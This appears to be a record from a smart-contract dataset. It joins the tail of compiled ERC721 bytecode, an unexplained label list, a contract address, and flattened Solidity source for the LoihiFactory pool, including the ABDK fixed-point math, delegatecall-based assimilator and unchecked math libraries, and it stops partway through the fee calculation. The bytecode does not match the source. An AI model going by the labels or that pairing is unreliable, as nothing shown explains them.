a3bb5ace0180546001600160a01b0319166001600160a01b0385169081179091556040518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461188c90611ca5565b90600052602060002090601f0160209004810192826118ae57600085556118f4565b82601f106118c757805160ff19168380011785556118f4565b828001600101855582156118f4579182015b828111156118f45782518255916020019190600101906118d9565b50610ad79291505b80821115610ad757600081556001016118fc565b6001600160e01b031981168114610e7957600080fd5b60006020828403121561193857600080fd5b813561105b81611910565b60005b8381101561195e578181015183820152602001611946565b83811115610f8f5750506000910152565b60008151808452611987816020860160208601611943565b601f01601f19169290920160200192915050565b60208152600061105b602083018461196f565b6000602082840312156119c057600080fd5b5035919050565b80356001600160a01b03811681146119de57600080fd5b919050565b600080604083850312156119f657600080fd5b6119ff836119c7565b946020939093013593505050565b600080600060608486031215611a2257600080fd5b611a2b846119c7565b9250611a39602085016119c7565b9150604084013590509250925092565b600060208284031215611a5b57600080fd5b813561ffff8116811461105b57600080fd5b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff80841115611a9e57611a9e611a6d565b604051601f8501601f19908116603f01168101908282118183101715611ac657611ac6611a6d565b81604052809350858152868686011115611adf57600080fd5b858560208301376000602087830101525050509392505050565b600060208284031215611b0b57600080fd5b813567ffffffffffffffff811115611b2257600080fd5b8201601f81018413611b3357600080fd5b61127484823560208401611a83565b600060208284031215611b5457600080fd5b61105b826119c7565b6020808252825182820181905260009190848201906040850190845b81811015611b9557835183529284019291840191600101611b79565b50909695505050505050565b803580151581146119de57600080fd5b60008060408385031215611bc457600080fd5b611bcd836119c7565b9150611bdb60208401611ba1565b90509250929050565b60008060008060808587031215611bfa57600080fd5b611c03856119c7565b9350611c11602086016119c7565b925060408501359150606085013567ffffffffffffffff811115611c3457600080fd5b8501601f81018713611c4557600080fd5b611c5487823560208401611a83565b91505092959194509250565b60008060408385031215611c7357600080fd5b611c7c836119c7565b9150611bdb602084016119c7565b600060208284031215611c9c57600080fd5b61105b82611ba1565b600181811c90821680611cb957607f821691505b60208210811415611cda57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b60008219821115611d5a57611d5a611d31565b500190565b6000816000190483118215151615611d7957611d79611d31565b500290565b600060ff821660ff811415611d9557611d95611d31565b60010192915050565b60208082526016908201527522a9219b9918a2b73ab69d1037bbb732b91034b7b7b160511b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611df857611df8611d31565b5060010190565b634e487b7160e01b600052601260045260246000fd5b600082611e2457611e24611dff565b500490565b600084516020611e3c8285838a01611943565b855191840191611e4f8184848a01611943565b8554920191600090600181811c9080831680611e6c57607f831692505b858310811415611e8a57634e487b7160e01b85526022600452602485fd5b808015611e9e5760018114611eaf57611edc565b60ff19851688528388019550611edc565b60008b81526020902060005b85811015611ed45781548a820152908401908801611ebb565b505083880195505b50939b9a5050505050505050505050565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b600082821015611f5157611f51611d31565b500390565b600082611f6557611f65611dff565b500690565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611f9d9083018461196f565b9695505050505050565b600060208284031215611fb957600080fd5b815161105b8161191056fea2646970667358221220335a4bb9f8e3a7fe21e03f46bb491d0dc99bf2729042ca5ba46038233a4836fe64736f6c634300080a0033
[ 12, 5, 11 ]
0xf26094C3d4B9C12360cDfF1eB9f937780B0A0c8f
// hevm: flattened sources of src/LoihiFactory.sol pragma solidity >0.4.13 >=0.4.23 >=0.5.0 <0.6.0 >=0.5.7 <0.6.0; ////// lib/abdk-libraries-solidity/src/ABDKMath64x64.sol /* * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting. * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com> */ /* pragma solidity ^0.5.7; */ /** * Smart contract library of mathematical functions operating with signed * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is * basically a simple fraction whose numerator is signed 128-bit integer and * denominator is 2^64. As long as denominator is always the same, there is no * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are * represented by int128 type holding only the numerator. */ library ABDKMath64x64 { /** * Minimum value signed 64.64-bit fixed point number may have. */ int128 private constant MIN_64x64 = -0x80000000000000000000000000000000; /** * Maximum value signed 64.64-bit fixed point number may have. */ int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * Convert signed 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromInt (int256 x) internal pure returns (int128) { require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF); return int128 (x << 64); } /** * Convert signed 64.64 fixed point number into signed 64-bit integer number * rounding down. * * @param x signed 64.64-bit fixed point number * @return signed 64-bit integer number */ function toInt (int128 x) internal pure returns (int64) { return int64 (x >> 64); } /** * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromUInt (uint256 x) internal pure returns (int128) { require (x <= 0x7FFFFFFFFFFFFFFF); return int128 (x << 64); } /** * Convert signed 64.64 fixed point number into unsigned 64-bit integer * number rounding down. Revert on underflow. * * @param x signed 64.64-bit fixed point number * @return unsigned 64-bit integer number */ function toUInt (int128 x) internal pure returns (uint64) { require (x >= 0); return uint64 (x >> 64); } /** * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point * number rounding down. Revert on overflow. * * @param x signed 128.128-bin fixed point number * @return signed 64.64-bit fixed point number */ function from128x128 (int256 x) internal pure returns (int128) { int256 result = x >> 64; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * Convert signed 64.64 fixed point number into signed 128.128 fixed point * number. * * @param x signed 64.64-bit fixed point number * @return signed 128.128 fixed point number */ function to128x128 (int128 x) internal pure returns (int256) { return int256 (x) << 64; } /** * Calculate x + y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function add (int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) + y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * Calculate x - y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sub (int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) - y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * Calculate x * y rounding down. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function mul (int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) * y >> 64; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point * number and y is signed 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y signed 256-bit integer number * @return signed 256-bit integer number */ function muli (int128 x, int256 y) internal pure returns (int256) { if (x == MIN_64x64) { require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF && y <= 0x1000000000000000000000000000000000000000000000000); return -y << 63; } else { bool negativeResult = false; if (x < 0) { x = -x; negativeResult = true; } if (y < 0) { y = -y; // We rely on overflow behavior here negativeResult = !negativeResult; } uint256 absoluteResult = mulu (x, uint256 (y)); if (negativeResult) { require (absoluteResult <= 0x8000000000000000000000000000000000000000000000000000000000000000); return -int256 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int256 (absoluteResult); } } } /** * Calculate x * y rounding down, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y unsigned 256-bit integer number * @return unsigned 256-bit integer number */ function mulu (int128 x, uint256 y) internal pure returns (uint256) { if (y == 0) return 0; require (x >= 0); uint256 lo = (uint256 (x) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64; uint256 hi = uint256 (x) * (y >> 128); require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); hi <<= 64; require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo); return hi + lo; } /** * Calculate x / y rounding towards zero. Revert on overflow or when y is * zero. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function div (int128 x, int128 y) internal pure returns (int128) { require (y != 0); int256 result = (int256 (x) << 64) / y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * Calculate x / y rounding towards zero, where x and y are signed 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x signed 256-bit integer number * @param y signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function divi (int256 x, int256 y) internal pure returns (int128) { require (y != 0); bool negativeResult = false; if (x < 0) { x = -x; // We rely on overflow behavior here negativeResult = true; } if (y < 0) { y = -y; // We rely on overflow behavior here negativeResult = !negativeResult; } uint128 absoluteResult = divuu (uint256 (x), uint256 (y)); if (negativeResult) { require (absoluteResult <= 0x80000000000000000000000000000000); return -int128 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int128 (absoluteResult); // We rely on overflow behavior here } } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function divu (uint256 x, uint256 y) internal pure returns (int128) { require (y != 0); uint128 result = divuu (x, y); require (result <= uint128 (MAX_64x64)); return int128 (result); } /** * Calculate -x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function neg (int128 x) internal pure returns (int128) { require (x != MIN_64x64); return -x; } /** * Calculate |x|. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function abs (int128 x) internal pure returns (int128) { require (x != MIN_64x64); return x < 0 ? -x : x; } /** * Calculate 1 / x rounding towards zero. Revert on overflow or when x is * zero. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function inv (int128 x) internal pure returns (int128) { require (x != 0); int256 result = int256 (0x100000000000000000000000000000000) / x; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function avg (int128 x, int128 y) internal pure returns (int128) { return int128 ((int256 (x) + int256 (y)) >> 1); } /** * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down. * Revert on overflow or in case x * y is negative. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function gavg (int128 x, int128 y) internal pure returns (int128) { int256 m = int256 (x) * int256 (y); require (m >= 0); require (m < 0x4000000000000000000000000000000000000000000000000000000000000000); return int128 (sqrtu (uint256 (m), uint256 (x) + uint256 (y) >> 1)); } /** * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y uint256 value * @return signed 64.64-bit fixed point number */ function pow (int128 x, uint256 y) internal pure returns (int128) { uint256 absoluteResult; bool negativeResult = false; if (x >= 0) { absoluteResult = powu (uint256 (x) << 63, y); } else { // We rely on overflow behavior here absoluteResult = powu (uint256 (uint128 (-x)) << 63, y); negativeResult = y & 1 > 0; } absoluteResult >>= 63; if (negativeResult) { require (absoluteResult <= 0x80000000000000000000000000000000); return -int128 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int128 (absoluteResult); // We rely on overflow behavior here } } /** * Calculate sqrt (x) rounding down. Revert if x < 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sqrt (int128 x) internal pure returns (int128) { require (x >= 0); return int128 (sqrtu (uint256 (x) << 64, 0x10000000000000000)); } /** * Calculate binary logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function log_2 (int128 x) internal pure returns (int128) { require (x > 0); int256 msb = 0; int256 xc = x; if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; } if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore int256 result = msb - 64 << 64; uint256 ux = uint256 (x) << 127 - msb; for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) { ux *= ux; uint256 b = ux >> 255; ux >>= 127 + b; result += bit * int256 (b); } return int128 (result); } /** * Calculate natural logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function ln (int128 x) internal pure returns (int128) { require (x > 0); return int128 ( uint256 (log_2 (x)) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128); } /** * Calculate binary exponent of x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function exp_2 (int128 x) internal pure returns (int128) { require (x < 0x400000000000000000); // Overflow if (x < -0x400000000000000000) return 0; // Underflow uint256 result = 0x80000000000000000000000000000000; if (x & 0x8000000000000000 > 0) result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128; if (x & 0x4000000000000000 > 0) result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128; if (x & 0x2000000000000000 > 0) result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128; if (x & 0x1000000000000000 > 0) result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128; if (x & 0x800000000000000 > 0) result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128; if (x & 0x400000000000000 > 0) result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128; if (x & 0x200000000000000 > 0) result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128; if (x & 0x100000000000000 > 0) result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128; if (x & 0x80000000000000 > 0) result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128; if (x & 0x40000000000000 > 0) result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128; if (x & 0x20000000000000 > 0) result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128; if (x & 0x10000000000000 > 0) result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128; if (x & 0x8000000000000 > 0) result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128; if (x & 0x4000000000000 > 0) result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128; if (x & 0x2000000000000 > 0) result = result * 0x1000162E525EE054754457D5995292026 >> 128; if (x & 0x1000000000000 > 0) result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128; if (x & 0x800000000000 > 0) result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128; if (x & 0x400000000000 > 0) result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128; if (x & 0x200000000000 > 0) result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128; if (x & 0x100000000000 > 0) result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128; if (x & 0x80000000000 > 0) result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128; if (x & 0x40000000000 > 0) result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128; if (x & 0x20000000000 > 0) result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128; if (x & 0x10000000000 > 0) result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128; if (x & 0x8000000000 > 0) result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128; if (x & 0x4000000000 > 0) result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128; if (x & 0x2000000000 > 0) result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128; if (x & 0x1000000000 > 0) result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128; if (x & 0x800000000 > 0) result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128; if (x & 0x400000000 > 0) result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128; if (x & 0x200000000 > 0) result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128; if (x & 0x100000000 > 0) result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128; if (x & 0x80000000 > 0) result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128; if (x & 0x40000000 > 0) result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128; if (x & 0x20000000 > 0) result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128; if (x & 0x10000000 > 0) result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128; if (x & 0x8000000 > 0) result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128; if (x & 0x4000000 > 0) result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128; if (x & 0x2000000 > 0) result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128; if (x & 0x1000000 > 0) result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128; if (x & 0x800000 > 0) result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128; if (x & 0x400000 > 0) result = result * 0x100000000002C5C85FDF477B662B26945 >> 128; if (x & 0x200000 > 0) result = result * 0x10000000000162E42FEFA3AE53369388C >> 128; if (x & 0x100000 > 0) result = result * 0x100000000000B17217F7D1D351A389D40 >> 128; if (x & 0x80000 > 0) result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128; if (x & 0x40000 > 0) result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128; if (x & 0x20000 > 0) result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128; if (x & 0x10000 > 0) result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128; if (x & 0x8000 > 0) result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128; if (x & 0x4000 > 0) result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128; if (x & 0x2000 > 0) result = result * 0x1000000000000162E42FEFA39F02B772C >> 128; if (x & 0x1000 > 0) result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128; if (x & 0x800 > 0) result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128; if (x & 0x400 > 0) result = result * 0x100000000000002C5C85FDF473DEA871F >> 128; if (x & 0x200 > 0) result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128; if (x & 0x100 > 0) result = result * 0x100000000000000B17217F7D1CF79E949 >> 128; if (x & 0x80 > 0) result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128; if (x & 0x40 > 0) result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128; if (x & 0x20 > 0) result = result * 0x100000000000000162E42FEFA39EF366F >> 128; if (x & 0x10 > 0) result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128; if (x & 0x8 > 0) result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128; if (x & 0x4 > 0) result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128; if (x & 0x2 > 0) result = result * 0x1000000000000000162E42FEFA39EF358 >> 128; if (x & 0x1 > 0) result = result * 0x10000000000000000B17217F7D1CF79AB >> 128; result >>= 63 - (x >> 64); require (result <= uint256 (MAX_64x64)); return int128 (result); } /** * Calculate natural exponent of x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function exp (int128 x) internal pure returns (int128) { require (x < 0x400000000000000000); // Overflow if (x < -0x400000000000000000) return 0; // Underflow return exp_2 ( int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128)); } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return unsigned 64.64-bit fixed point number */ function divuu (uint256 x, uint256 y) private pure returns (uint128) { require (y != 0); uint256 result; if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) result = (x << 64) / y; else { uint256 msb = 192; uint256 xc = x >> 192; if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1); require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 hi = result * (y >> 128); uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 xh = x >> 192; uint256 xl = x << 64; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here lo = hi << 128; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here assert (xh == hi >> 128); result += xl / y; } require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return uint128 (result); } /** * Calculate x^y assuming 0^0 is 1, where x is unsigned 129.127 fixed point * number and y is unsigned 256-bit integer number. Revert on overflow. * * @param x unsigned 129.127-bit fixed point number * @param y uint256 value * @return unsigned 129.127-bit fixed point number */ function powu (uint256 x, uint256 y) private pure returns (uint256) { if (y == 0) return 0x80000000000000000000000000000000; else if (x == 0) return 0; else { int256 msb = 0; uint256 xc = x; if (xc >= 0x100000000000000000000000000000000) { xc >>= 128; msb += 128; } if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; } if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore int256 xe = msb - 127; if (xe > 0) x >>= xe; else x <<= -xe; uint256 result = 0x80000000000000000000000000000000; int256 re = 0; while (y > 0) { if (y & 1 > 0) { result = result * x; y -= 1; re += xe; if (result >= 0x8000000000000000000000000000000000000000000000000000000000000000) { result >>= 128; re += 1; } else result >>= 127; if (re < -127) return 0; // Underflow require (re < 128); // Overflow } else { x = x * x; y >>= 1; xe <<= 1; if (x >= 0x8000000000000000000000000000000000000000000000000000000000000000) { x >>= 128; xe += 1; } else x >>= 127; if (xe < -127) return 0; // Underflow require (xe < 128); // Overflow } } if (re > 0) result <<= re; else if (re < 0) result >>= -re; return result; } } /** * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer * number. * * @param x unsigned 256-bit integer number * @return unsigned 128-bit integer number */ function sqrtu (uint256 x, uint256 r) private pure returns (uint128) { if (x == 0) return 0; else { require (r > 0); while (true) { uint256 rr = x / r; if (r == rr || r + 1 == rr) return uint128 (r); else if (r == rr + 1) return uint128 (rr); r = r + rr + 1 >> 1; } } } } ////// src/interfaces/IAssimilator.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity ^0.5.0; */ interface IAssimilator { function intakeRaw (uint256 amount) external returns (int128); function intakeRawAndGetBalance (uint256 amount) external returns (int128, int128); function intakeNumeraire (int128 amount) external returns (uint256); function outputRaw (address dst, uint256 amount) external returns (int128); function outputRawAndGetBalance (address dst, uint256 amount) external returns (int128, int128); function outputNumeraire (address dst, int128 amount) external returns (uint256); function viewRawAmount (int128) external view returns (uint256); function viewNumeraireAmount (uint256) external view returns (int128); function viewNumeraireBalance (address) external view returns (int128); function viewNumeraireAmountAndBalance (address, uint256) external view returns (int128, int128); } ////// src/Assimilators.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity ^0.5.0; */ /* import "./interfaces/IAssimilator.sol"; */ /* import "abdk-libraries-solidity/ABDKMath64x64.sol"; */ library Assimilators { using ABDKMath64x64 for int128; IAssimilator constant iAsmltr = IAssimilator(address(0)); function delegate(address _callee, bytes memory _data) internal returns (bytes memory) { (bool _success, bytes memory returnData_) = _callee.delegatecall(_data); assembly { if eq(_success, 0) { revert(add(returnData_, 0x20), returndatasize()) } } return returnData_; } function viewRawAmount (address _assim, int128 _amt) internal view returns (uint256 amount_) { amount_ = IAssimilator(_assim).viewRawAmount(_amt); } function viewNumeraireAmount (address _assim, uint256 _amt) internal view returns (int128 amt_) { amt_ = IAssimilator(_assim).viewNumeraireAmount(_amt); } function viewNumeraireAmountAndBalance (address _assim, uint256 _amt) internal view returns (int128 amt_, int128 bal_) { ( amt_, bal_ ) = IAssimilator(_assim).viewNumeraireAmountAndBalance(address(this), _amt); } function viewNumeraireBalance (address _assim) internal view returns (int128 bal_) { bal_ = IAssimilator(_assim).viewNumeraireBalance(address(this)); } function intakeRaw (address _assim, uint256 _amount) internal returns (int128 amt_) { bytes memory data = abi.encodeWithSelector(iAsmltr.intakeRaw.selector, _amount); amt_ = abi.decode(delegate(_assim, data), (int128)); } function intakeRawAndGetBalance (address _assim, uint256 _amount) internal returns (int128 amt_, int128 bal_) { bytes memory data = abi.encodeWithSelector(iAsmltr.intakeRawAndGetBalance.selector, _amount); ( amt_, bal_ ) = abi.decode(delegate(_assim, data), (int128,int128)); } function intakeNumeraire (address _assim, int128 _amt) internal returns (uint256 rawAmt_) { bytes memory data = abi.encodeWithSelector(iAsmltr.intakeNumeraire.selector, _amt); rawAmt_ = abi.decode(delegate(_assim, data), (uint256)); } function outputRaw (address _assim, address _dst, uint256 _amount) internal returns (int128 amt_ ) { bytes memory data = abi.encodeWithSelector(iAsmltr.outputRaw.selector, _dst, _amount); amt_ = abi.decode(delegate(_assim, data), (int128)); amt_ = amt_.neg(); } function outputRawAndGetBalance (address _assim, address _dst, uint256 _amount) internal returns (int128 amt_, int128 bal_) { bytes memory data = abi.encodeWithSelector(iAsmltr.outputRawAndGetBalance.selector, _dst, _amount); ( amt_, bal_ ) = abi.decode(delegate(_assim, data), (int128,int128)); amt_ = amt_.neg(); } function outputNumeraire (address _assim, address _dst, int128 _amt) internal returns (uint256 rawAmt_) { bytes memory data = abi.encodeWithSelector(iAsmltr.outputNumeraire.selector, _dst, _amt.abs()); rawAmt_ = abi.decode(delegate(_assim, data), (uint256)); } } ////// src/UnsafeMath64x64.sol /* pragma solidity ^0.5.0; */ library UnsafeMath64x64 { /** * Calculate x * y rounding down. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function us_mul (int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) * y >> 64; return int128 (result); } /** * Calculate x / y rounding towards zero. Revert on overflow or when y is * zero. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function us_div (int128 x, int128 y) internal pure returns (int128) { int256 result = (int256 (x) << 64) / y; return int128 (result); } } ////// src/ShellMath.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity ^0.5.0; */ /* import "./Assimilators.sol"; */ /* import "./UnsafeMath64x64.sol"; */ /* import "./LoihiStorage.sol"; */ /* import "abdk-libraries-solidity/ABDKMath64x64.sol"; */ library ShellMath { int128 constant ONE = 0x10000000000000000; int128 constant MAX = 0x4000000000000000; // .25 in laments terms int128 constant ONE_WEI = 0x12; using ABDKMath64x64 for int128; using UnsafeMath64x64 for int128; using ABDKMath64x64 for uint256; function calculateFee ( int128 _gLiq, int128[] memory _bals, int128 _beta, int128 _delta, int128[] memory _weights ) internal pure returns (int128 psi_) { for (uint i = 0; i < _weights.length; i++) { int128 _ideal = 